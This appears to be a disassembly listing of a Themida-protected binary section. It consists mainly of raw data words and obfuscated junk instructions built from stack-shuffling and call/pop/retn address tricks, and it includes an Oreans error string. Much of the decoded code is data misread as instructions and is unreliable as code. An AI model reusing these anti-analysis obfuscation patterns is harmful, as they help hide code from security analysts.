		dd 0EEA84B30h, 8E706873h, 0EBD0880Ch, 5C28Eh, 68C39600h
		dd 0FA653053h, 8D90C2E5h, 1E015578h, 0B792E609h, 5DEF81A2h
		dd 0EA0D2205h, 7A9DB295h, 0E3146D9h, 0F9C8DD78h, 0E75C9B4Ch
		dd 0DCD366F1h, 0D00C49C3h, 0CE09B26Eh, 4AAD4E91h, 0E56D0365h
		dd 0B6E3AF30h, 1B2EF1Ch, 6D0364F6h, 0E7AB8EE2h,	0D384B132h
		dd 6B1518B1h, 0B497EC1Fh, 0D5991ACFh, 480B5C32h, 6BBA0D5h
		dd 0F49ECD1h, 6C1F0914h, 8267880Ch, 54A25h, 0E07B0E00h
		dd 72EDA8CBh, 5183A5Dh,	9689CDF0h, 2F0A5E81h, 0D567F91Ah
		dd 62859ABDh, 0F2152A0Dh, 86A9BEA1h, 714055F0h
		dd 0E6E413C4h, 544B66F1h, 1A3D533Bh, 59FC9235h,	16490674h
		dd 48FDE27Dh, 666502C7h, 28C33E10h, 0B880B24Ah,	354B6E83h
		dd 17CA861Bh, 0CD027A82h, 0FAFF3BE8h, 40981310h, 260B2E42h
		dd 1ABB3C71h, 6D03B3E0h, 754C1BF0h, 250A2D42h, 0B6CCEF70h
		dd 14517E93h, 3B39463h,	2327336Dh, 91171306h, 749718CDh
		dd 0B3563B1Eh, 104D7ADDh, 3D1985Fh, 69EA9F6Dh, 0C1118854h
		dd 0D9A7E394h, 0F9AE6B0Ah, 0EA08F314h, 0CF1466F4h, 0B4ED29B0h
		dd 5EC19254h, 0FC98C479h, 2C199A2Bh, 460070ECh,	2253D70h
		dd 0CBE7681Dh, 4Dh, 273A5B8Eh, 6BF69F42h, 0AAACB536h, 245CECEFh
		dd 85B194ECh, 72A7C45Dh, 0D97C1245h, 247A2B58h,	5B6B0A7Eh
		dd 0A287A2B8h, 1E19C1EDh, 5C94CAF4h, 0DA214227h, 4266F51Fh
		dd 30336295h, 54D5480Dh, 0EF29F08Fh, 7C4600C7h,	13Fh, 1A3D5363h
		dd 5BFE9235h, 97BEF12Eh, 51F2A78Ch, 6D044DA6h, 36FA5D32h
		dd 6E1B0081h, 0D3F8632h, 0A2D8DA7h, 2D50D174h, 57F4FD57h
		dd 0ECA52829h, 5E938EC9h, 0FC99CC79h, 3BD07C61h, 66F5D29Eh
		dd 9ABD3E73h, 0F83461C4h, 0D33B83D4h, 1B30B1D4h, 370C27Ah
		dd 0A253906Dh, 6D037055h, 5C41E47Bh, 0B537E3A7h, 0C7995C91h
		dd 0E20586BBh, 7194A98Ch, 0AE5B401Bh, 5D42E57Bh, 3E5B27A8h
		dd 62346794h, 2AA15607h, 0E1966D04h, 4DFE2BACh,	6B0B43EDh
		dd 0B27E9348h, 0DBEEBE7h, 6506F403h, 2558853Ah,	5E0BF073h
		dd 0E5944AADh, 0FB30E56Ch, 461A4D7Ah, 11C29DF5h, 6CE593E6h
		dd 44679C51h, 71260B2Eh, 0C7FA273Ch, 0FBB095B0h, 93DA1DCEh
		dd 0A0556CE5h, 0C164FC1Fh, 7396B6h, 0C8250A8Eh,	34Fh, 0C0D57009h
		dd 5065F89Dh, 0E3F86B2Dh, 748994C0h, 91E3951h, 0B2C656E8h
		dd 85F8297h, 0A2F5182Dh, 0F187AABFh, 0C5724156h, 0F1E4E314h
		dd 3C554C66h, 0EF1C3F53h, 392758B3h, 18DB7632h,	2A1440AEh
		dd 129C5EAh, 50FFB6E4h,	58859A1Bh, 0BF07325h, 514AAD5Eh
		dd 30E56D03h, 1577AFBh,	0AA081126h, 5B6E3EFh, 6B0B6799h
		dd 193A1FD4h, 66F527E2h, 8F96F53Ah, 4600CF89h, 94E2h, 3D53C900h
		dd 0FE92351Ah, 8DC9765Bh, 0C9F0BA5Dh, 39DA5B86h, 6D036603h
		dd 6D9ABDD3h, 7B86B231h, 5EDF7F39h, 0F5502649h,	0FD5C410h
		dd 7AA7DC47h, 0AFA71C9h, 0FA0FC46Bh, 67FA9ACDh,	537F1AE6h
		dd 9D467526h, 3CF16506h, 0A184DC0Fh, 3611698Ch,	21152Bh
		dd 3390758Eh, 277h, 98AD88E1h, 283D2075h, 0BBD05305h, 4C61FC98h
		dd 0E1F65129h, 0CA9E2EC0h, 20375A6Fh, 8ACDF005h, 95F8297h
		dd 9D4A192Eh, 0F1E40BECh, 142D2466h, 71C3F53h, 96AB8EE4h
		dd 1A3D538Dh, 59FC9235h, 0C25DF92Ch, 39602C41h,	44B364A1h
		dd 0EB6D044Eh, 4E629536h, 0B3646D04h, 6D044E44h, 0BD7236EBh
		dd 0D0AA5B88h, 676B0B52h, 4FACCDB2h, 0CD66F531h, 145DE420h
		dd 0A34461F0h, 0F70E5D22h, 46004321h, 554Ah, 0EFAA3100h
		dd 0C879B6E3h, 6D044E2Fh, 66305308h, 0E06116FBh, 5F4002B3h
		dd 0C2776B0Bh, 290C6295h, 290E8F44h, 1631497Ch,	8AC783EAh
		dd 0B93AF2BCh, 0F494E318h, 598C3966h, 9B3E233Eh, 0CC8166F9h
		dd 32511697h, 41DC78ABh, 3926A75Ch, 46003CDFh, 138Ch, 25D57300h
		dd 86D044Eh, 63144191h,	6B0B5F0Bh, 6F788D42h, 0B6E3EFAAh
		dd 6C8B3C79h, 0C36D044Eh, 0B2EC8D0Eh, 246B0B6Eh, 18640DE8h
		dd 9E74A6E9h, 1D49719Dh, 6125A6DBh, 55A6C7ACh, 0C766F4B9h
		dd 0FC1CE582h, 7146005Ch, 13h, 4E26D558h, 90096D04h, 0A641542h
		dd 456B0B5Fh, 49727B90h, 0FCE17C16h, 3D223D59h,	6D25388h
		dd 0D5123F93h, 4E10E798h, 72276D04h, 12C50F1h, 560B6B16h
		dd 0C560F629h, 3A5083B0h, 0E57B9E1Fh, 88115D42h, 8F6C1D4Ah
		dd 0A86503B5h, 0FD93C6F3h, 0AAF12D5Ah, 0C22F8376h, 1C3F54D5h
		dd 0B2FEE346h, 81BEEBE7h, 933EFA45h, 2DDEA74Eh,	6D0449CAh
		dd 0FA7BB065h, 0B42DD59h, 1B2EF6Bh, 66F540F6h, 0E6AA8DE2h
		dd 37ECB031h, 11C41C2Ch, 2A876C88h, 0BFh, 5065C099h, 0E0F5682Dh
		dd 73889BBDh, 4190450h,	99AE89E1h, 256E678h, 98EF1227h
		dd 0D285A8BDh, 41173A4Fh, 5502D1E6h, 0F1E253A4h, 0CCE5DC66h
		dd 0B6E3EFAAh, 1604EA05h, 8B70256Bh, 0B1C992E8h, 0D9FCB196h
		dd 5C71A681h, 23082339h, 0D33E6B02h, 5231864Ah,	475CFF95h
		dd 0BEEB4E24h, 0D152F58Bh, 120D49ECh, 7EE1B2E5h, 0A9C1E499h
		dd 2F280D8Eh, 0A8BE0D5Ah, 0C213E495h, 701C3110h, 2B224A0Bh
		dd 6FA4D9D9h, 621375Ah,	2A417421h, 52A3CB18h, 62970C91h
		dd 2504E1h, 496B0000h, 0DB3A520Dh, 0E4E2CBFh, 249D250Dh
		dd 0D271F227h, 4B1C72A5h, 7A2F1437h, 90671845h,	0A76D03C7h
		dd 536871F2h, 93361B3Eh, 0D2755AFDh, 16B99E81h,	5E01E641h
		dd 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h, 0F7593E21h
		dd 81E68956h, 4C6h, 4EE8300h, 8B243487h
; ---------------------------------------------------------------------------
		and	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		push	38560280h
		pop	edx
		sub	edx, 22857E50h
		and	edx, 2F5E6814h
		or	edx, 468B3D14h
		add	edx, 0BE371107h
		push	edx
		add	dword ptr [esp], 3D52172Fh
		pop	esi
		sub	esi, 3D52172Fh
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esi
		mov	[edx+8], eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 0E4h, 0F7h, 0F9h
		dd 19C58D67h
; ---------------------------------------------------------------------------


loc_581CA8:				; CODE XREF: Themida_:loc_57FC0Ej
		mov	eax, 6126D2Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 6Ch,	8Fh, 10h
		dd 0A28E7352h, 3650E221h, 7253CC69h, 86C0DD2Dh,	14E804h
		dd 2A2C0000h, 1AF6086h,	9B533F4Fh, 1FEC904Bh, 95D0D9A2h
		dd 0D2808DDBh, 0BF0F5E7Ah, 6DC681D3h, 60000070h, 61FB8B66h
		dd 8156C033h, 4E2243D1h, 3C8B5B78h, 0E2816606h,	0C7817B87h
		dd 31A0B62h, 736CF781h,	0D38A5256h, 0BA47C781h,	11E86021h
		dd 98000000h, 27A5FF4Bh, 0CCCC6300h, 507EE667h,	980CF291h
		dd 5ADE8B66h, 0F063C89h, 38Bh, 0D7B70F00h, 5CEBBE60h, 0D8804B68h
		dd 0E8816141h, 111370F7h, 81D9B70Fh, 1370F3C0h,	0D68B6611h
		dd 9054F881h, 850FFFFFh, 11h, 0E9CA8B66h, 23h, 7797A5AFh
		dd 4EFD9285h, 0E9D4B60Fh, 0FFFFFF7Eh, 27AD3AF3h, 87527C98h
		dd 0EF54F3D0h, 533DE28Ah, 0E96B8111h, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5833FA
; ---------------------------------------------------------------------------
		jmp	loc_5821AB
; ---------------------------------------------------------------------------
		dw 0C882h
; ---------------------------------------------------------------------------
		mov	ds:0CAB442Dh, eax
		retn
; ---------------------------------------------------------------------------
		dw 48DDh
		db 35h,	0EEh, 11h
; ---------------------------------------------------------------------------


loc_5821AB:				; CODE XREF: Themida_:00582199j
		sub	[ebp+60F0901h],	ecx
		mov	eax, [ebp+60F1E25h]
		clc
		cmp	[esp+4], eax
		jnz	loc_582252
		push	0
		push	esi
		call	sub_5821CD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5821CD	proc near		; CODE XREF: Themida_:005821C5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5821CD	endp

; ---------------------------------------------------------------------------
		jnb	short loc_582226
		add	ch, [edi+939CB53h]
		pusha
		movsx	ebx, dx
		mov	ebx, [ebp+60F1A39h]
		popa
		cmp	dword ptr [ebp+60F1D81h], 0
		jz	loc_582252
		push	0
		push	edx
		call	sub_582208
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582208	proc near		; CODE XREF: Themida_:00582200p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_582208	endp

; ---------------------------------------------------------------------------
		add	bl, [ebp-5D29F528h]
		lea	eax, [ebp+60F3AB8h]
		push	0


loc_582226:				; CODE XREF: Themida_:005821DDj
		push	ecx
		call	sub_58222F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58222F	proc near		; CODE XREF: Themida_:00582227p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_58222F	endp

; ---------------------------------------------------------------------------
		db 0AFh
		dd 4D15E54Dh, 2D4DB529h, 0E0FF060Fh, 0B118D29h
; ---------------------------------------------------------------------------
		clts


loc_582252:				; CODE XREF: Themida_:005821BCj
					; Themida_:005821F7j
		mov	eax, [ebp+60F1A61h]
		push	0
		push	esi
		call	sub_582263
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582263	proc near		; CODE XREF: Themida_:0058225Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_582263	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		inc	edx
		cmp	[esp+4], eax
		jnz	loc_5822EC
		push	0
		push	esi
		call	sub_58228A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58228A	proc near		; CODE XREF: Themida_:00582282p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_58228A	endp

; ---------------------------------------------------------------------------
		dw 0C567h
; ---------------------------------------------------------------------------
		imul	eax, [esi+0F6F1607h], -8
		jmp	loc_5822B8
; ---------------------------------------------------------------------------
		pop	edi
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [edi+44B0EED2h], 8Ch
		aam	20h
		adc	byte ptr [eax],	6Ah
		stc
		pushf


loc_5822B8:				; CODE XREF: Themida_:005822A3j
		mov	dword ptr [ebp+61272C6h], 1
		push	0
		push	ebx
		call	sub_5822CD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5822CD	proc near		; CODE XREF: Themida_:005822C5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5822CD	endp

; ---------------------------------------------------------------------------
		neg	ebp
		xchg	eax, esp
		jbe	loc_5822EC
		or	[ebp+60F176Dh],	edi


loc_5822EC:				; CODE XREF: Themida_:00582279j
					; Themida_:005822E0j
		pusha
		push	0
		push	edi
		call	sub_5822F8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5822F8	proc near		; CODE XREF: Themida_:005822F0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5822F8	endp

; ---------------------------------------------------------------------------
		dd 0F2E6B329h, 48C0Fh, 8A600000h, 0AE961F8h, 89000000h
		dd 0F1CF9BDh, 6, 1B800h, 85870000h, 6127457h, 0F675C00Bh
		dd 24FDB5FFh, 858F060Fh, 61272BEh, 0FF6A206Ah, 2C5D95FFh
		dd 0BD83060Fh, 60F1785h, 6A087400h, 5195FF00h, 83060F34h
		dd 0F21D5BDh, 0D740106h, 8068h,	0FFFF6A00h, 0F2C5D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0C54D275h, 166DEBAh, 1585B589h, 8D01060Fh
		dd 60F2EE5h, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C93DD0C3h, 548BFC92h, 6A2824h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 753007C3h, 0E9F811CFh, 0Bh, 8E44FACAh, 98E090CFh, 89C924DFh
		dd 0F265585h, 0BD896006h, 60F2831h, 3CBE61h, 8C0F0000h
		dd 0Ah,	0FD950960h, 56060F31h, 7403615Ah, 8E0F2424h, 6
		dd 0F698D01h, 0AD66060Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 28C35040h, 8BF960D4h,	0F0F9D95h, 44036106h
		dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 2AAFC3C3h, 6D763887h, 7E9h, 0B5205D00h, 578F9A98h
		dd 10E9h, 0E107A700h, 1E83DEh, 0DA761F0h, 374063D4h, 0F6050CFh
		dd 281h, 57F98B00h, 61586160h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4A06C357h
		dd 89ECD6ACh, 0F1E75BDh, 68E0F06h, 89000000h, 0F1F21B5h
		dd 78408B06h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0B5C35040h, 7939DBA1h, 14E9D0h,	0EBCF0000h, 17D02B16h
		dd 84FCD1ABh, 0D3DF9D33h, 0E5B6DB48h, 870F6BC0h, 6, 199BD89h
		dd 0BD83060Fh, 61272C6h, 0F850F00h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0D63C355h, 0F605C38h, 9589C0B7h, 60F19B5h, 958D8961h
		dd 0E9060F1Dh, 0Eh, 73667051h, 0DC81A85Ch, 32901180h, 0E9902ABFh
		dd 11h,	227F298Fh, 48FD3C2Ah, 0E2659B55h, 958193BEh, 6E95012h
		dd 90000000h, 0AE323942h, 806090B9h, 9D893ACDh,	60F150Dh
		dd 65BD8961h, 8B060F31h, 6A2C2444h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 93AC352h
		dd 0F1CA19Dh, 50FCF506h, 5E860h, 57B0000h, 0B68F10EDh
		dd 87BE5930h, 6171EC9Ch, 89240489h, 0F261D85h, 0A2858D06h
		dd 6A06124Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 5F10C353h, 0DAA4B1DEh,	7E60EF8Ah
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FD1350C3h, 270D2085h, 4403C8B8h,	850F2824h
		dd 1Ch,	16880Fh, 11E90000h, 0E000000h, 936BA091h, 647E7BCh
		dd 1B0F4575h, 63FA0301h, 0F818408Bh, 25B58B60h,	0FC060F29h
		dd 6A4061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 734F85C3h, 0D2434AD7h, 0BE93F22h,	0F7000000h
		dd 1332DC4Bh, 7FB3D0C7h, 85891E4Ch, 61272C2h, 12E960h
		dd 0AD9B0000h, 29BBED7Eh, 0CBDC12D3h, 0D44D6C90h, 1B7DAB23h
		dd 11E9h, 8A776600h, 7307999Ah,	0D9DD1AAFh, 0AF6C8A19h
		dd 5861239Dh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	2CC35646h, 0B62B3C78h, 75958935h, 8B060F17h, 6E97870h
		dd 0D2000000h, 0D1A3CC68h, 1CC68304h, 0BE9h, 0C0A1B800h
		dd 0C03D11D7h, 0EA6E8A53h, 7C81F896h, 2424h, 870F1000h
		dd 13Fh, 9E9h, 0A905AF00h, 0ABA39E46h, 0B8602DFDh, 61AE59E2h
		dd 38B0Fh, 0B70F0000h, 609061CAh, 0DBB0D18Bh, 8B605061h
		dd 609061F8h, 5BF88A53h, 24448B61h, 0F90F928h, 1F86h, 19810F00h
		dd 0E9000000h, 14h, 8815C9Ah, 1D69950Eh, 5F8249BCh, 59E1C850h
		dd 0C53FB1DBh, 50525050h, 8C0F52h, 0F000000h, 0F525031h
		dd 5A585A31h, 0F310F58h, 68Ah, 8A0F00h,	5A000000h, 6A9058h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 3682FC3h, 0C8A0Fh, 880F0000h, 6, 4F5B529h, 858D060Fh
		dd 6124AA2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	6EC35545h, 0FE4F5AC0h, 3603BEDh, 0F26C58Dh, 11E806h
		dd 26A50000h, 8F31CA77h, 0F29C2484h, 0E34FF5A9h, 0E9701C03h
		dd 0Fh,	0D6D5EA07h, 1FAABE1Bh, 7370850h, 5F1C94F1h, 6AD0FF61h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 51C9C351h, 6800F40h, 89000000h, 0F307595h
		dd 4D9D2906h, 96060F10h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0EEC35545h, 7E9ABh, 14290000h, 0A7AA96BAh
		dd 13E98Ch, 8B180000h, 30907F67h, 0D66B7504h, 5F011FE1h
		dd 80C8B959h, 2474034Dh, 0BD8DF824h, 60F2C99h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1DC35646h, 8915F270h
		dd 0F10919Dh, 8B0FAD06h, 0Ah, 8B616060h, 0F26C585h, 0BD896106h
		dd 60F1A8Dh, 24247C81h,	10000000h, 0D1870Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 860FA5C3h, 0Ch, 6850Fh, 95290000h, 60F2CBDh,	0A850F90h
		dd 60000000h, 310F5250h, 6160585Ah, 0DE95061h, 99000000h
		dd 0BF31DA95h, 0B4F3B093h, 704D50CAh, 7E990h, 0CA820000h
		dd 0D1E6E05Eh, 24448BD1h, 50006A28h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0F50949Ah
		dd 98Ch, 0F8BB6000h, 527295D8h,	489615Fh, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 1F00934Fh, 96EADE56h, 0A2858DFCh, 0F906124Ah, 0CE9D0FFh
		dd 0B6000000h, 0E7B40E39h, 13A5F3CFh, 3E405E0h,	89242444h
		dd 0F24498Dh, 0A19D2906h, 0AB060F2Fh, 14E9h, 0C7FDB500h
		dd 7C8C66Ah, 446DA8B8h,	449F676Bh, 34EA91Dh, 0FA8159h
		dd 0F000100h, 80B82h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0FC4DFF8h, 0BD8979A0h
		dd 60F2B29h, 2731BD8Dh,	9D29060Fh, 60F0DE5h, 0AE9ADh, 8C3D0000h
		dd 0C5603CFFh, 0FD6AACBEh, 399D8960h, 8B060F1Eh, 7C8161F9h
		dd 2424h, 870F1000h, 0F0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 80C35343h, 8B0F501Ah,	15h, 10E9h, 0BB1D4E00h
		dd 0D0EE3279h, 0A621C810h, 0B095CFB9h, 24048905h, 0C800Fh
		dd 0F600000h, 8Dh, 0E8B96600h, 448B6103h, 12E92824h, 17000000h
		dd 0E0B2D52Eh, 784338EAh, 2BF3B51Dh, 0C7F511DFh, 0FFC6052h
		dd 5061DFBFh, 9E9h, 0D8C54200h,	611DCCA2h, 489FBCAh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h
		dd 0C3524200h, 0FE8B600Bh, 81C0B760h, 0CEB178F0h, 3161610Bh
		dd 0F21B595h, 0A2858D06h, 8906124Ah, 0F317DB5h,	6AD0FF06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 6275C352h, 7BF6F05Fh, 0BE9h, 71567800h, 0A1E7864Bh
		dd 681C5BD5h, 24244403h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 14C35242h, 0A2C39B4Bh, 13E9E415h, 0AE000000h
		dd 874F59BDh, 0D9A354C7h, 0D857EFB7h, 0FD047864h, 0F904140h
		dd 128Eh, 50525000h, 5A310F52h,	0F310F58h, 81h,	50585A00h
		dd 0C8BE6660h, 10E9B3h,	22DC0000h, 54A250D9h, 5609131Ch
		dd 0E1CC190h, 9061B801h, 65B53360h, 66060F26h, 61B74FBFh
		dd 0B50160ABh, 60F254Dh, 8D61D68Bh, 0F16E1BDh, 858B6006h
		dd 60F2DC5h, 22A99D03h,	6061060Fh, 8BC8B70Fh, 0F24F58Dh
		dd 6AAD6106h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 899EC351h, 0A754EB45h,	0F50E1B86h
		dd 9698D29h, 7C81060Fh,	2824h, 870F1000h, 0F1h,	6840Fh
		dd 0BD890000h, 60F1CC9h, 14E950h, 50E70000h, 0D97430A0h
		dd 532A43A2h, 0B6C2D9D4h, 0FE5EA07Eh, 489D66Eh,	52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E96B47B2h, 10h, 0CDF413F9h,	7612DD7Dh, 0D7466067h
		dd 0A8565107h, 2C24448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 1AC35343h, 46C578DBh,	44956B22h, 5090F5D3h
		dd 5E952h, 8EC50000h, 0FC0A7BEh, 6E931h, 95EE0000h, 0CA6BE949h
		dd 5050585Ah, 0F525052h, 8Eh, 0E9310F00h, 7, 24DA6659h
		dd 5AD8C41Ah, 0F310F58h, 28Ch, 5A616000h, 9D899058h, 60F1BCDh
		dd 4AA2858Dh, 0EE90612h, 0CB000000h, 0E38D8DBFh, 665C3139h
		dd 2A470B27h, 89D0FF6Fh, 0F00B1B5h, 24440306h, 0ABF8FC28h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 3CC35747h
		dd 3CC22FE2h, 600208D5h, 2A6D8D0Bh, 9D89060Fh, 60F0B0Dh
		dd 8DFF5E61h, 61272C2h,	72C2BD83h, 75000612h, 8DC0330Ah
		dd 128293B5h, 56E6FF06h, 247C81ADh, 28h, 500E7710h, 2C24448Bh
		dd 0A2858D50h, 0FF06124Ah, 244403D0h, 0DF8B9728h, 72BE858Ah
		dd 0C0840612h, 73A0474h, 32574C75h, 0FD75AEC0h,	52FB2B5Eh
		dd 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h,	0B6D68AEAh
		dd 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h
		dd 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h
		dd 0D03B5AC1h, 835E0F74h, 85FF04C6h, 60F2655h, 0FFFF5DE9h
		dd 6A5EFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E97E6BC3h, 11h, 0C18F3497h, 46064661h, 3CB83BADh
		dd 7DA6EDEBh, 0D38B6068h, 169B58Bh, 8B61060Fh, 0F265585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 9458508Fh, 8D0FB795h, 6,	4ED8D09h, 0E0D1060Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F9C35040h
		dd 0D21F5C18h, 8503E0C6h, 60F16E1h, 14ED9D89h, 0F62B060Fh
		dd 1BB1B529h, 196060Fh,	0F0FF985h, 0AD66F506h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B1C35646h, 0E0C1FE9Ah
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0C97BD445h, 353A2B10h, 99850358h, 0E9060F2Ch
		dd 13h,	394770F8h, 60413F4Dh, 0B0F1EB90h, 1792E761h, 96172F7Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 13C35040h
		dd 0C860Fh, 8A0F0000h, 6, 29DD8589h, 10E9060Fh,	2D000000h
		dd 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 0ADFD050Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E4C35040h, 73BE425Fh
		dd 6E914h, 0E0EB0000h, 0CEFB25ADh, 24247C81h, 10000000h
		dd 188870Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 7453CAC3h, 0A9AEA272h, 6075F8B9h
		dd 128F0Fh, 0CE80000h, 56000000h, 552E9756h, 3BD21261h
		dd 5B43B1B7h, 49BD89h, 5061060Fh, 8820Fh, 810F0000h, 2
		dd 4896160h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0A3C3AAAAh, 0CCBE6660h, 0ADB966DBh
		dd 448B6156h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0AF7771C3h, 64C873Eh, 11E9807Ch
		dd 0B8000000h, 0CE4F2AA7h, 6DEED9B8h, 1F4673Ah,	0AF402B26h
		dd 0A860F90h, 50000000h, 0F616052h, 5A616031h, 0FE95058h
		dd 0C000000h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h, 6A90249Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 452BC355h, 11E9h,	81146E00h, 20208290h, 0F87471Eh
		dd 31D9C54Dh, 6660357Ch, 90C0C181h, 61B7E080h, 4AA2858Dh
		dd 860F0612h, 16h, 10870Fh, 0BE90000h, 33000000h, 66E1FFA7h
		dd 3BCC4092h, 0D0FFE3F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D4C35343h, 51CB2B9Fh, 890ECA52h, 0F1D399Dh
		dd 14E906h, 95B70000h, 47F138E8h, 0DB537F20h, 0F2EE04D3h
		dd 6D9EA873h, 440383EAh, 6A2424h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0BD87A5C3h, 0D4A839F8h
		dd 291BC29Ch, 0F22198Dh, 24448906h, 6800F1Ch, 89000000h
		dd 0F30419Dh, 0FD85C606h, 60F24h, 745785C7h, 612h, 85C70000h
		dd 61272C6h, 0
; ---------------------------------------------------------------------------
